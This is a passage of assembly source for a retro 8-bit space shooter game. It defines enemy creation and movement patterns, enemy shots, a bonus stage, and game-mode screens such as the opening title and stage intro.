warmStart ldaa VDGColorSet1 staa soundToggle jsr irqInit jsr rndSeed _warmStart: ldd CPUTicks std cpuTicksSave ldaa #GameModeOpenScreen ;ldaa #GameModePlayInit staa gameMode ldaa #$80 jsr wipeScreenAltLines ldaa #VDGColorSet1 staa VDGReg ;Set video mode text mode, orange staa vdgColorSet ;ldd #1000 ;jsr clockWait ;ldaa #32 ;jsr wipeScreenAltLines _mainLoop: ldab gameMode lslb ldx #gameModeArray abx ldx ,x jsr ,x bra _mainLoop ;======================================== ;Testing area for new functions ;======================================== ;---------------------------------------- ;extraAdd ;Add the letter in SpriteB3 to EXTRA ;W0 = pointer to sprite ;---------------------------------------- .module ExtraAdd extraAdd: ldx W0 ldaa SpriteB3,x bita extraValue beq _cont jsr scoreAddEnemy ;if already have letter, get points rts _cont: oraa extraValue cmpa #$1f bne _noExtra clra inc lives jsr statusBarUpdateLives ldd #ExtraTimeout std extraTimer ldaa #ExtraFlashes staa extraFlashCount ldaa #$1f _noExtra: staa extraValue jsr statusBarUpdateExtra rts ;---------------------------------------- ;movePatEx ;Move to opposite side of screen then die ;W0 = pointer to sprite ;---------------------------------------- .module MovePatEx movePatEx: ldx W0 ldaa SpriteDir,x cmpa #DirLeft beq _goLeft jsr seqRightToX bra _test _goLeft: jsr seqLeftToX _test: tsta beq _done jsr spriteSuicide _done: rts ;---------------------------------------- ;movePatEShot0 ;Fall off screen and die. ;W0 = pointer to sprite ;---------------------------------------- .module MovePatEShot0 movePatEShot0: ldx W0 ldaa SpriteStage,x cmpa #1 beq _stage1 _stage0: ldaa #PlayfieldY2+2 ;y to die staa SpriteB2,x inc SpriteStage,x ;fall thru _stage1: jsr seqDownToY tsta beq _done jsr spriteSuicide _done: rts ;---------------------------------------- ;movePatEShot1 ;zigzag pattern, fall off screen and die. ;W0 = pointer to sprite ;---------------------------------------- .module MovePatEShot1 movePatEShot1: ldx W0 ldaa SpriteStage,x cmpa #1 beq _stage1 _stage0: ldaa #DirRight staa SpriteDir,x ldaa #1 ;# of moves staa SpriteB2,x inc SpriteStage,x rts _stage1: ldaa SpriteDir,x cmpa #DirRight beq _right _left: ldaa SpriteX,x suba #2 dec SpriteB2,x bne _move ldab #DirRight stab SpriteDir,x ldab #2 stab SpriteB2,x bra _move _right: ldaa SpriteX,x adda #2 dec SpriteB2,x bne _move ldab #DirLeft stab SpriteDir,x ldab #2 stab SpriteB2,x _move: ldab SpriteY,x incb ;addb #2 jsr spriteMove ldaa SpriteY,x cmpa #PlayfieldY2+2 blo _done jsr spriteSuicide _done: rts ;---------------------------------------- ;spawnEShotRnd ;Spawn an enemy shot if space available and rndGet < 'a' ;W0 = pointer to sprite ;'a' = chance to spawn (255/x) ;---------------------------------------- .module SpawnEShotRnd _chance .equ B5 spawnEShotRnd: ldx W0 tst SpriteShotsLeft,x beq _done ;no shots left staa _chance jsr rndGet cmpa _chance bhi _done ldaa #EShotCount ldx eShotSprites jsr spriteGetInactive cpx #0 beq _done _spawn: stx W1 ldx W0 dec SpriteShotsLeft,x ldx SpriteShotFunc,x jsr ,x _done: rts ;---------------------------------------- ;spawnEShot ;Spawn an enemy shot if space available ;W0 = pointer to parent sprite ;'a' = chance to spawn (255/x) ;Upon return, W1 = sprite pointer, or 0 if no shot ;---------------------------------------- .module SpawnEShot spawnEShot: ldx W0 tst SpriteShotsLeft,x beq _dontShoot ;no shots left ldaa #EShotCount ldx eShotSprites jsr spriteGetInactive cpx #0 beq _dontShoot _spawn: stx W1 ldx W0 dec SpriteShotsLeft,x ldx SpriteShotFunc,x jsr ,x rts _dontShoot: ldd #0 std W1 rts ;---------------------------------------- ;eShot0Create ;Create an eShot0 sprite ;W0 = parent enemy sprite ;W1 = eShotSprite pointer ;---------------------------------------- .module EShot0Create eShot0Create: ldx W1 ldaa #2 staa SpriteWidth,x ldaa #1 staa SpriteHeight,x ldaa stageSpeed lsra staa AdderLow ldd #35 subd Adder std SpriteSpeed,x ldx W0 ;parent ldaa SpriteWidth,x suba #2 ;width of shot lsra adda SpriteX,x ldab SpriteY2,x incb ldx W1 jsr spriteSetup ldd #eShot0FrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #eShot0FrameCount staa SpriteFrameCount,x ldd #eShot0Delays0 std SpriteFrameDels,x ldd #movePatEShot0 std SpriteMovePat,x ldaa #DirDown staa SpriteDir,x ldaa #SpriteTypeEShot staa SpriteType,x ldd #0 std SpriteKillFunc,x rts ;---------------------------------------- ;eShot1Create ;Create an eShot1 sprite ;W0 = parent enemy sprite ;W1 = eShotSprite pointer ;---------------------------------------- .module EShot1Create eShot1Create: ldx W1 ldaa #4 staa SpriteWidth,x ldaa #2 staa SpriteHeight,x ldaa stageSpeed lsra staa AdderLow ldd #35 subd Adder std SpriteSpeed,x ldx W0 ;parent ldaa SpriteWidth,x suba #4 ;width of shot lsra adda SpriteX,x ldab SpriteY2,x incb ldx W1 jsr spriteSetup ldd #eShot1FrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #eShot1FrameCount staa SpriteFrameCount,x ldd #eShot1Delays0 std SpriteFrameDels,x ldd #movePatEShot1 std SpriteMovePat,x ldaa #DirDown staa SpriteDir,x ldaa #SpriteTypeEShot staa SpriteType,x ldd #0 std SpriteKillFunc,x rts ;---------------------------------------- ;movePatE1 ;Fall to row, move random distance horizontally and retreat. Random shoot. ;W0 = pointer to sprite ;---------------------------------------- .module MovePatE1 _tmpB .equ B0 movePatE1: ldx W0 ldaa SpriteStage,x cmpa #1 beq _stage1 cmpa #2 beq _stage2 cmpa #3 beq _stage3 _stage0: ldaa #12 ;calc y to stop descending jsr rndGetMax adda #PlayfieldY1+4 ;at least 4 pixels down ldx W0 staa SpriteB2,x inc SpriteStage,x rts _stage1: jsr seqDownToY tsta beq _done ldaa #15 ;rnd between 12-27 jsr rndGetMax adda #12 staa _tmpB ldx W0 ldaa SpriteX,x cmpa #PlayfieldX1 + (PlayfieldWidth/2) bhi _goLeft ldaa SpriteX,x adda _tmpB staa SpriteB2,x inc SpriteStage,x rts _goLeft: ldaa SpriteX,x suba _tmpB staa SpriteB2,x inc SpriteStage,x rts _stage2: ldaa SpriteX,x cmpa SpriteB2,x blo _right jsr seqLeftToX bra _moveDone _right: jsr seqRightToX _moveDone: psha tsta beq _rnd ldaa #255 ;done with horz move so force shot bra _shoot _rnd: ldaa #(255/7) ;1/7 chance _shoot: jsr spawnEShotRnd pula tsta beq _done ldx W0 ldaa #PlayfieldY1-8 staa SpriteB2,x inc SpriteStage,x rts _stage3: jsr seqUpToY tsta beq _done jsr spriteSuicide _done: rts ;---------------------------------------- ;movePatE2 ;Move to opposite side of screen, fall down a row, repeat. Shoot when over player. ;W0 = pointer to sprite ;---------------------------------------- .module MovePatE2 movePatE2: ldx W0 ldaa SpriteStage,x cmpa #1 beq _stage1 _stage0: ldaa SpriteDir,x cmpa #DirLeft beq _left0 _right0: jsr seqRightToX tsta beq _cont ldaa #DirLeft staa SpriteDir,x ldaa SpriteY,x adda #4 cmpa #PlayfieldY2-2 bls _r0s ldaa #PlayfieldY2-2 _r0s: staa SpriteB2,x inc SpriteStage,x ldaa #1 staa SpriteShotsLeft,x bra _cont _left0: jsr seqLeftToX tsta beq _cont ldaa #DirRight staa SpriteDir,x ldaa SpriteY,x adda #4 cmpa #PlayfieldY2-2 bls _l0s ldaa #PlayfieldY2-2 _l0s: staa SpriteB2,x inc SpriteStage,x ldaa #1 staa SpriteShotsLeft,x _cont: ldaa SpriteY,x ;test if off bottom cmpa #PlayfieldY2+4 blo _shootTest jsr spriteSuicide rts _shootTest: tst SpriteShotsLeft,x bne _shootTest2 rts _shootTest2: ldaa SpriteWidth,x lsra adda SpriteX,x cmpa playerX bhs _shootTest3 rts _shootTest3: cmpa playerX2 bls _shoot rts _shoot: jsr spawnEShot ldx W1 cpx #0 beq _sdone ldaa #GreenPixel staa SpriteAltColor,x _sdone: rts _stage1: jsr seqDownToY tsta beq _done clr SpriteStage,x ldaa SpriteDir,x cmpa #DirLeft beq _l0 _r0: ldaa #PlayfieldX2 suba SpriteWidth,x inca staa SpriteB2,x rts _l0: ldaa #PlayfieldX1 staa SpriteB2,x rts _done: rts ;---------------------------------------- ;movePatE3 ;Drop down to Y, track to player and shoot, pause and track to player, etc. ;W0 = pointer to sprite ;---------------------------------------- .module MovePatE3 movePatE3: ldx W0 ldaa SpriteStage,x cmpa #1 beq _stage1 cmpa #2 beq _stage2 cmpa #3 beq _stage3 _stage0: jsr seqDownToY tsta beq _cont0 inc SpriteStage,x _cont0: rts _stage1: ldaa SpriteWidth,x lsra adda SpriteX,x adda #4;inca cmpa playerX bls _right suba #8 cmpa playerX2 bhi _left inc SpriteStage,x ;go shoot and pause bra _stage2 ;rts _left: ldaa SpriteX,x suba #2 bra _move _right: ldaa SpriteX,x adda #2 _move: ldab SpriteY,x jsr spriteMove rts _stage2: tst SpriteShotsLeft,x bne _shoot ldaa #1 staa SpriteStage,x rts _shoot: inc SpriteStage,x ldaa #20 ;delay after shooting staa SpriteB3,x jsr spawnEShot ldx W1 cpx #0 beq _sdone _sdone: rts _stage3: dec SpriteB3,x bne _done ldaa #1 staa SpriteStage,x ldaa #1 staa SpriteShotsLeft,x _done: rts ;---------------------------------------- ;movePatE4 ;Bounce around the screen ;W0 = pointer to sprite ;---------------------------------------- .module MovePatE4 _tmpB .equ B5 movePatE4: ldx W0 _stage0: ldab SpriteX,x ldaa SpriteB2,x bita #%10 beq _decX addb #2 ldaa SpriteWidth,x aba cmpa #PlayfieldX2+2 blo _doY ldab #PlayfieldX2 subb SpriteWidth,x ldaa SpriteB2,x anda #%01 staa SpriteB2,x ldaa #1 staa SpriteShotsLeft,x bra _doY _decX: subb #2 cmpb #PlayfieldX1 bhi _doY ldab #PlayfieldX1 ldaa SpriteB2,x oraa #%10 staa SpriteB2,x ldaa #1 staa SpriteShotsLeft,x _doY: stab _tmpB ldab SpriteY,x ldaa SpriteB2,x bita #1 beq _decY addb #2 ldaa SpriteHeight,x aba cmpa #PlayfieldY2+2 blo _doMove ldab #PlayfieldY2 subb SpriteHeight,x ldaa SpriteB2,x anda #%10 staa SpriteB2,x ldaa #1 staa SpriteShotsLeft,x bra _doMove _decY: subb #2 cmpb #PlayfieldY1 bhi _doMove ldab #PlayfieldY1 ldaa SpriteB2,x oraa #%01 staa SpriteB2,x ldaa #1 staa SpriteShotsLeft,x _doMove: ldaa _tmpB jsr spriteMove tst SpriteShotsLeft,x beq _done ldaa #(255/10) ;1/10 chance jsr spawnEShotRnd _done: rts ;---------------------------------------- ;seqDownToY ;Fall to y in spriteB2. ;'x' = pointer to sprite ;Returns 1 in 'a' when y reached. ;---------------------------------------- .module SeqDownToY seqDownToY: ldab SpriteY,x incb cmpb SpriteB2,x bls _move ldaa #1 rts _move: ldaa SpriteX,x jsr spriteMove clra ldab SpriteY,x cmpb SpriteB2,x blo _done inca _done: rts ;---------------------------------------- ;seqUpToY ;Rise to y in spriteB2. ;'x' = pointer to sprite ;returns 1 in 'a' when y reached ;---------------------------------------- .module SeqUpToY seqUpToY: ldab SpriteY,x decb cmpb SpriteB2,x bhs _move ldaa #1 rts _move: ldaa SpriteX,x jsr spriteMove clra ldab SpriteY,x cmpb SpriteB2,x bhi _done inca _done: rts ;---------------------------------------- ;seqRightToX ;Move right to the x in spriteB2. ;'x' = pointer to sprite ;Returns 1 in 'a' when x reached. ;---------------------------------------- .module SeqRightToX seqRightToX: ldaa SpriteX,x inca cmpa SpriteB2,x bls _move ldaa #1 rts _move: ldab SpriteY,x jsr spriteMove clra ldab SpriteX,x cmpb SpriteB2,x blo _done inca _done: rts ;---------------------------------------- ;seqLeftToX ;Move left to x in spriteB2. ;'x' = pointer to sprite ;returns 1 in 'a' when x reached ;---------------------------------------- .module SeqLeftToX seqLeftToX: ldaa SpriteX,x deca cmpa SpriteB2,x bhs _move ldaa #1 rts _move: ldab SpriteY,x jsr spriteMove clra ldab SpriteX,x cmpb SpriteB2,x bhi _done inca _done: rts ;---------------------------------------- ;spawnEnemy ;Spawn an enemy if a space available. ;---------------------------------------- .module SpawnEnemy spawnEnemy: ldaa #EnemyCount ldx enemySprites jsr spriteGetInactive cpx #0 beq _done stx W0 jsr rndGet ldx extraSpawnTimer bne _noExtra cmpa #178 ;30% chance of extra life enemy bls _noExtra ldd #ExtraSpawnTimeout std extraSpawnTimer ldx #exCreate jsr ,x rts _noExtra: ldx stageData ldab #StageEnemyPairs abx _loop: ldab ,x ;0% chance = done beq _done cmpa ,x bls _spawn inx inx bra _loop _spawn: ldaa ,x beq _done inx ldab ,x ;decb lslb ldx #enemyCreateArray abx ldx ,x jsr ,x _done: rts ;---------------------------------------- ;e0Create ;Create an instance of enemy0 ;'W0' = pointer to sprite ;---------------------------------------- .module E0Create e0Create: ;set w/h & speed here, spriteSetup needs them. ldx W0 ldaa #6 staa SpriteWidth,x ldaa #5 staa SpriteHeight,x ldaa stageSpeed lsla staa AdderLow ldd #100 subd Adder std SpriteSpeed,x ;calc x,y jsr rndGet anda #%111110 ;get random X, force even cmpa #58 bls _xOk ldaa #58 _xOk: adda #PlayfieldX1 ldab #PlayfieldY1-8 ldx W0 jsr spriteSetup ldaa #DirDown staa SpriteDir,x ldd #e0FrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #e0FrameCount staa SpriteFrameCount,x ldd #e0Delays0 std SpriteFrameDels,x ldd #movePatE0 std SpriteMovePat,x ldaa #SpriteTypeEnemy staa SpriteType,x ldd #$0100 std SpritePointValue,x ldd #scoreAddEnemy std SpriteKillFunc,x rts ;---------------------------------------- ;exCreate ;Create an instance of enemyX - extra man letter ;'W0' = pointer to sprite ;---------------------------------------- .module ExCreate exCreate: ;set w/h & speed here, spriteSetup needs them. ldx W0 ldaa #6 staa SpriteWidth,x ldaa #2 staa SpriteHeight,x ;ldd #50 ;std SpriteSpeed,x ldaa stageSpeed ;lsra staa AdderLow ldd #50 subd Adder std SpriteSpeed,x ldd #0 std SpriteShotFunc,x ldaa #0 staa SpriteShotsLeft,x ;tst extraFlashCount ;beq _cont0 ;rts _cont0: ;calc x,y jsr rndGet tab bitb #%001 beq _leftSide ldaa #DirLeft staa SpriteDir,x ldaa #PlayfieldX1 staa SpriteB2,x ldaa #PlayfieldX2 suba #6 bra _cont _leftSide: ldaa #DirRight staa SpriteDir,x ldaa #PlayfieldX2 suba #6 staa SpriteB2,x ldaa #PlayfieldX1 _cont: lsrb andb #%011 lslb addb #PlayfieldY1 ldx W0 jsr spriteSetup clrb jsr rndGet cmpa #192 ;75% chance of missing letter blo _rndLetter ldab extraValue _rndLetter: jsr rndGet cmpa #51 bls _lX cmpa #102 bls _lT cmpa #153 bls _lR cmpa #204 bls _lA _lE: bitb #%10000 ;already have E? bne _lX ldab #%10000 ldaa #'E' bra _lCont _lX: bitb #%01000 bne _lT ldab #%01000 ldaa #'X' bra _lCont _lT: bitb #%00100 bne _lR ldab #%00100 ldaa #'T' bra _lCont _lR: bitb #%00010 bne _lA ldab #%00010 ldaa #'R' bra _lCont _lA: bitb #%00001 bne _lE ldab #%00001 ldaa #'A' _lCont: stab SpriteB3,x ldx #exFrame0_0 staa 3,x ldx #exFrame1_0 staa 3,x ldx #exFrame2_0 staa 3,x ldx #exFrame3_0 staa 3,x ldx W0 ldd #exFrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #exFrameCount staa SpriteFrameCount,x ldd #exDelays0 std SpriteFrameDels,x ldd #movePatEx std SpriteMovePat,x ldaa #SpriteTypeEnemy staa SpriteType,x ldd #$0500 std SpritePointValue,x ldd #extraAdd std SpriteKillFunc,x rts ;---------------------------------------- ;e1Create ;Create an instance of enemy1 ;'W0' = pointer to sprite ;---------------------------------------- .module E1Create e1Create: ;set w/h & speed here, spriteSetup needs them. ldx W0 ldaa #6 staa SpriteWidth,x ldaa #2 staa SpriteHeight,x ldaa stageSpeed staa AdderLow ldd #50 subd Adder std SpriteSpeed,x ldd #eShot0Create std SpriteShotFunc,x ldaa #1 staa SpriteShotsLeft,x ;calc x,y jsr rndGet anda #%111110 ;get random X, force even cmpa #58 bls _xOk ldaa #58 _xOk: adda #PlayfieldX1 ldab #PlayfieldY1-8 ldx W0 jsr spriteSetup ldaa #DirDown staa SpriteDir,x ldd #e1FrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #e1FrameCount staa SpriteFrameCount,x ldd #e1Delays0 std SpriteFrameDels,x ldd #movePatE1 std SpriteMovePat,x ldaa #SpriteTypeEnemy staa SpriteType,x ldd #$0150 std SpritePointValue,x ldd #scoreAddEnemy std SpriteKillFunc,x rts ;---------------------------------------- ;e2Create ;Create an instance of enemy2 ;'W0' = pointer to sprite ;---------------------------------------- .module E2Create e2Create: ;set w/h & speed here, spriteSetup needs them. ldx W0 ldaa #8 staa SpriteWidth,x ldaa #2 ;lie so it doesn't collide with player too soon staa SpriteHeight,x ldaa stageSpeed staa AdderLow ldd #50 subd Adder std SpriteSpeed,x ldd #eShot0Create std SpriteShotFunc,x ldaa #1 staa SpriteShotsLeft,x ;calc x,y jsr rndGet bita #1 beq _leftSide _rightSide: ldaa #DirLeft staa SpriteDir,x ldaa #PlayfieldX1 staa SpriteB2,x ldaa #PlayfieldX2 suba SpriteWidth,x bra _xOk _leftSide: ldaa #DirRight staa SpriteDir,x ldaa #PlayfieldX2 suba SpriteWidth,x inca staa SpriteB2,x ldaa #PlayfieldX1 _xOk: ldab #PlayfieldY1 ldx W0 jsr spriteSetup ldd #e2FrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #e2FrameCount staa SpriteFrameCount,x ldd #e2Delays0 std SpriteFrameDels,x ldd #movePatE2 std SpriteMovePat,x ldaa #SpriteTypeEnemy staa SpriteType,x ldd #$0150 std SpritePointValue,x ldd #scoreAddEnemy std SpriteKillFunc,x rts ;---------------------------------------- ;e3Create ;Create an instance of enemy3 ;'W0' = pointer to sprite ;---------------------------------------- .module E3Create e3Create: ;set w/h & speed here, spriteSetup needs them. ldx W0 ldaa #8 staa SpriteWidth,x ldaa #4 staa SpriteHeight,x ldaa stageSpeed staa AdderLow ldd #65 subd Adder std SpriteSpeed,x ldd #eShot1Create std SpriteShotFunc,x ldaa #1 staa SpriteShotsLeft,x ;calc x, drop y ldaa SpriteIndex,x lsla lsla adda #PlayfieldY1 staa SpriteB2,x ldaa #28 jsr rndGetMax lsla adda #PlayfieldX1 anda #%11111110 _xOk: ldab #PlayfieldY1-4 ldx W0 jsr spriteSetup ldd #e3FrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #e3FrameCount staa SpriteFrameCount,x ldd #e3Delays0 std SpriteFrameDels,x ldd #movePatE3 std SpriteMovePat,x ldaa #SpriteTypeEnemy staa SpriteType,x ldd #$0200 std SpritePointValue,x ldd #scoreAddEnemy std SpriteKillFunc,x rts ;---------------------------------------- ;e4Create ;Create an instance of enemy4 ;'W0' = pointer to sprite ;---------------------------------------- .module E4Create e4Create: ;set w/h & speed here, spriteSetup needs them. ldx W0 ldaa #10 staa SpriteWidth,x ldaa #6 staa SpriteHeight,x ldaa stageSpeed staa AdderLow ldd #100 subd Adder std SpriteSpeed,x ldd #eShot0Create std SpriteShotFunc,x ldaa #1 staa SpriteShotsLeft,x ;calc x, drop y ldaa #26 jsr rndGetMax lsla adda #PlayfieldX1 anda #%11111110 _xOk: ldab #PlayfieldY1-8 ldx W0 jsr spriteSetup ldd #e4FrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #e4FrameCount staa SpriteFrameCount,x ldd #e4Delays0 std SpriteFrameDels,x ldd #movePatE4 std SpriteMovePat,x ldaa #SpriteTypeEnemy staa SpriteType,x ldd #$0250 std SpritePointValue,x ldd #scoreAddEnemy std SpriteKillFunc,x jsr rndGet anda #%11 oraa #%01 ;x = rnd, y = 1 staa SpriteB2,x rts ;======================================== ;Game Modes ;======================================== ;---------------------------------------- ;openScreenShipDraw ;Display ship on opening screen ;'a' = x ;---------------------------------------- .module OpenScreenShipDraw openScreenShipDraw: ldab #$1d ldx #playerOpenScreenFrame jsr drawBoundFrame rts ;---------------------------------------- ;openScreenShipErase ;Erase ship on opening screen ;'a' = x ;---------------------------------------- .module OpenScreenShipErase openScreenShipErase: ldab #$1d ldx #eraseOpenScreenFrame jsr drawBoundFrame rts ;---------------------------------------- ;openScreenShipMove ;Display ship on opening screen ;'a' = from X ;'b' = to X ;---------------------------------------- .module OpenScreenShipMove _curX .equ B0 _destX .equ B1 openScreenShipMove: staa _curX stab _destX _loop: ldaa _curX ldab #$1d ldx #playerOpenScreenFrame jsr drawBoundFrame ldd #50 jsr clockWait ldaa _curX ldab #$1d ldx #eraseOpenScreenFrame jsr drawBoundFrame inc _curX ldaa _curX cmpa _destX bls _loop ldaa _curX ldab #$1d ldx #playerOpenScreenFrame jsr drawBoundFrame rts ;---------------------------------------- ;openScreenShootString ;Shoot a string from the ship to the top of screen. ;'a' = x (0-63) ;'x' = string ;---------------------------------------- .module OpenScreenShootString _rowCnt .equ B0 _rowsLeft .equ B1 _chr .equ B2 _stringPtr .equ W0 _screenHome .equ W1 _screenPtr .equ W2 openScreenShootString: stx _stringPtr lsra psha ldd #VideoRAMEnd subd #BytesPerRow*3 std _screenPtr ldx _screenPtr ;point right above ship inx pulb abx stx _screenPtr stx _screenHome ldaa #14 staa _rowCnt _chrLoop: dec _rowCnt ldx _stringPtr ldaa ,x beq _done cmpa #'a' blo _doChar cmpa #'z' bhi _doChar suba #96 _doChar: staa _chr inx stx _stringPtr ldx _screenHome stx _screenPtr ldaa _rowCnt staa _rowsLeft ldx #soundFire jsr soundPlay _moveLoop: ldx _screenPtr ldaa _chr staa ,x ldd #15 jsr clockWait dec _rowsLeft beq _chrLoop ldx _screenPtr ldaa #$80 staa ,x ldd _screenPtr subd #BytesPerRow std _screenPtr bra _moveLoop _done: rts ;---------------------------------------- ;modeOpenScreen ;Display opening screen, wait for enter key to start. ;---------------------------------------- .module ModeOpenScreen _row .byte 0 modeOpenScreen: jsr statusBarClear jsr clearPlayfield ldaa #$00 ldx #stringTitle jsr stringWriteCentered ldaa #$00 jsr openScreenShipDraw ldd #1000 jsr clockWait ldaa #$00 jsr openScreenShipErase ldaa #1 ldab #22 jsr openScreenShipMove ldaa #24 ldx #stringTitle1 jsr openScreenShootString ldaa #22 ldab #26 jsr openScreenShipMove ldaa #28 ldx #stringTitle2 jsr openScreenShootString ldaa #26 ldab #30 jsr openScreenShipMove ldaa #32 ldx #stringTitle3 jsr openScreenShootString ldaa #30 ldab #34 jsr openScreenShipMove ldaa #36 ldx #stringTitle4 jsr openScreenShootString ldaa #34 jsr openScreenShipErase ldaa #30 jsr openScreenShipDraw ldaa #$07 staa _row ldx #stringHighScore jsr stringWriteCentered ldaa #23 ldab _row jsr scoreDisplayHighScore inc _row ldaa _row ldx #stringLeftRight jsr stringWriteCentered inc _row ldaa _row ldx #stringFire jsr stringWriteCentered inc _row ldaa _row ldx #stringBreak jsr stringWriteCentered inc _row ldaa _row ldx #stringStart jsr stringWriteCentered inc _row inc _row ldaa _row ldx #stringAuthor jsr stringWriteCentered ldaa _row ldx #stringAuthor jsr stringWriteCentered ldd #$1b00 ldx #stringVersion jsr stringWrite _waitEnter: jsr keyboardScanMenu tst keyEnterDown beq _waitEnter jmp _start _start: ldaa #GameModePlayInit staa gameMode rts ;---------------------------------------- ;modePlayInit ;Init screen, sprites, etc. for game play. ;---------------------------------------- .module ModePlayInit modePlayInit: jsr clearPlayfield jsr spritesInit ldd #0 std score std scoreHigh staa extraValue staa extraFlashCount jsr statusBarDraw ldaa #LivesStart staa lives jsr statusBarUpdateLives ldaa #StageStart staa stageCurrent staa stageCurrentBCD staa playerAllowFire ldaa #GameModeStageInit staa gameMode rts ;---------------------------------------- ;modeStageInit ;Initialize the stage. ;---------------------------------------- .module ModeStageInit modeStageInit: ldab stageCurrent decb lslb ldx #stageArray abx ldx ,x stx stageData ldaa StageSpeed,x staa stageSpeed ldaa StageType,x staa stageType ldaa StageSeconds,x staa stageSecondsLeft jsr statusBarUpdateTimer ldd #1000 std stageTimer ldaa #GameModeStageIntro staa gameMode ldaa stageCurrent cmpa #1 bne _regSpawn ;no extra on stage 1 ldd #$ffff std extraSpawnTimer rts _regSpawn: ldd #ExtraSpawnTimeout/2 std extraSpawnTimer rts ;---------------------------------------- ;modeStageIntro ;Displaying the stage # to user. ;---------------------------------------- .module ModeStageIntro _delay .word $0000 _cnt .byte $00 modeStageIntro: clr playerAllowFire ldaa #7 ldx #stringStage jsr stringWriteCentered ldaa #9 ldx stageData ldab #StageTitle abx jsr stringWriteCentered ldaa #18 ldab #7 ldx #stageCurrent jsr stringWriteByte ldaa #3 staa _cnt _playSound: ldx #soundStageIntro jsr soundPlay ldd #1000 _wait: std _delay jsr clockUpdate jsr keyboardScan jsr spriteUpdateAll ldd _delay subd deltaMS bcc _wait dec _cnt bne _playSound inc playerAllowFire jsr stageIntroClear ldx stageData ldaa StageType,x cmpa #2 beq _type2 _type1: ldaa #GameModeStagePlay staa gameMode rts _type2: clr playerAllowFire ldaa #GameModeStageBonus staa gameMode rts ;---------------------------------------- ;stageTimerUpdate ;Update the seconds left and status bar ;returns 'a'=1 if stage changes ;---------------------------------------- .module StageTimerUpdate stageTimerUpdate: ldaa stageCurrent ;last level = infinite cmpa #StageMax bne _cont clra rts _cont: ldd stageTimer subd deltaMS bcc _noSec dec stageSecondsLeft bne _secsLeft jsr statusBarUpdateTimer ldaa #GameModeStageOver staa gameMode ldaa #1 rts _secsLeft jsr statusBarUpdateTimer ldaa stageSecondsLeft cmpa #5 bhi _noSound ldx #soundTimerExpiring jsr soundPlay _noSound: ldd #1000 _noSec: std stageTimer clra rts ;---------------------------------------- ;modeStagePlay ;The main game play mode. ;---------------------------------------- .module ModeStagePlay modeStagePlay: ldd enemyDelay std enemyTimer _mainLoop: jsr clockUpdate jsr stageTimerUpdate tsta beq _cont rts _cont: ldd extraSpawnTimer beq _noDecSpawn subd deltaMS std extraSpawnTimer bhi _noDecSpawn ldd #0 std extraSpawnTimer _noDecSpawn: tst extraFlashCount beq _noExtraFlash ldd extraTimer subd deltaMS std extraTimer bcc _noExtraFlash ldx #soundExtraLife jsr soundPlay ldaa extraValue eora #$1f dec extraFlashCount bne _exNotDone clra _exNotDone: staa extraValue jsr statusBarUpdateExtra ldd #ExtraTimeout std extraTimer _noExtraFlash: jsr keyboardScan tst keyBreakDown beq _noPause ldaa #GameModePause staa gameMode rts _noPause: ldd enemyTimer subd deltaMS std enemyTimer bcc _noEnemy ldd enemyDelay std enemyTimer jsr spawnEnemy _noEnemy: jsr spriteUpdateAll ldx #playerSprite tst SpriteActive,x beq _doLives jmp _mainLoop _doLives: ldaa lives beq _gameOver deca staa lives jsr statusBarUpdateLives ldaa #1 jsr spriteSuicideAll jsr playerInit ldaa #GameModeStageIntro staa gameMode rts _gameOver: ldaa #GameModeGameOver staa gameMode _done: rts ;---------------------------------------- ;ebCreate ;Create an instance of enemyB (bonus stage item). Also uses eShot sprites. ;'W0' = pointer to sprite ;'a' = x ;'b' = y ;---------------------------------------- .module EBCreate ebCreate: ;set w/h & speed here, spriteSetup needs them. ldx W0 psha pshb ldaa #2 staa SpriteWidth,x ldaa #2 staa SpriteHeight,x ldd #25 std SpriteSpeed,x pulb pula ldx W0 jsr spriteSetup ldaa #DirDown staa SpriteDir,x ldd #ebFrameSeq0 std SpriteFrameSeq,x std SpriteFramePtr,x ldaa #ebFrameCount staa SpriteFrameCount,x ldd #ebDelays0 std SpriteFrameDels,x ldd #movePatE0 std SpriteMovePat,x ldaa #SpriteTypeEShot staa SpriteType,x ldd #$0100 std SpritePointValue,x ldd #scoreAddBonus std SpriteKillFunc,x rts ;---------------------------------------- ;modeStageBonus ;The bonus stage ;---------------------------------------- .module ModeStageBonus _xPos .byte $00 _cnt .byte $00 _dir .byte $00 _speed .equ 6 modeStageBonus: clr _cnt ldaa #PlayfieldX1+(PlayfieldWidth/2) anda #%1111110 staa _xPos ldaa #DirRight staa _dir _mainLoop: jsr clockUpdate jsr stageTimerUpdate tsta beq _cont rts _cont: jsr keyboardScan tst keyBreakDown beq _noPause ldaa #GameModePause staa gameMode rts _noPause: ldd enemyTimer beq _spawn subd deltaMS std enemyTimer bcs _np1 jmp _noEnemy _np1: ldd #0 std enemyTimer _spawn: ldaa #EnemyCount+EShotCount ldx enemySprites jsr spriteGetInactive cpx #0 beq _noEnemy stx W0 tst _cnt bne _noNewCnt jsr rndGet anda #%111 staa _cnt _noNewCnt: dec _cnt ldaa _dir cmpa #DirRight beq _goRight _goLeft: ldaa _xPos suba #_speed cmpa #PlayfieldX1 bhs _left1 ldaa #PlayfieldX1 staa _xPos clr _cnt bra _reverse _left1: staa _xPos tst _cnt bne _spawnIt bra _reverse _goRight: ldaa _xPos adda #_speed cmpa #PlayfieldX1+PlayfieldWidth-2 bls _right1 ldaa #PlayfieldX1+PlayfieldWidth-2 staa _xPos clr _cnt bra _reverse _right1: staa _xPos tst _cnt bne _spawnIt _reverse: ldaa _dir cmpa #DirRight beq _revL ldaa #DirRight bra _revDone _revL: ldaa #DirLeft _revDone: staa _dir bra _spawnIt _spawnIt: ldaa _xPos ldab #PlayfieldY1-2 jsr ebCreate ldaa stageSpeed ldab #3 mul std Adder ldd #225 subd Adder std enemyTimer _noEnemy: jsr spriteUpdateAll jmp _mainLoop _done: rts ;---------------------------------------- ;modeStageOver ;Suicide all sprites then go to next stage. ;---------------------------------------- .module ModeStageOver _cnt .byte 0 modeStageOver: clra jsr spriteSuicideAll ldaa stageCurrent inca cmpa #StageMax bls _nextStage ldaa #GameModeGameOver staa 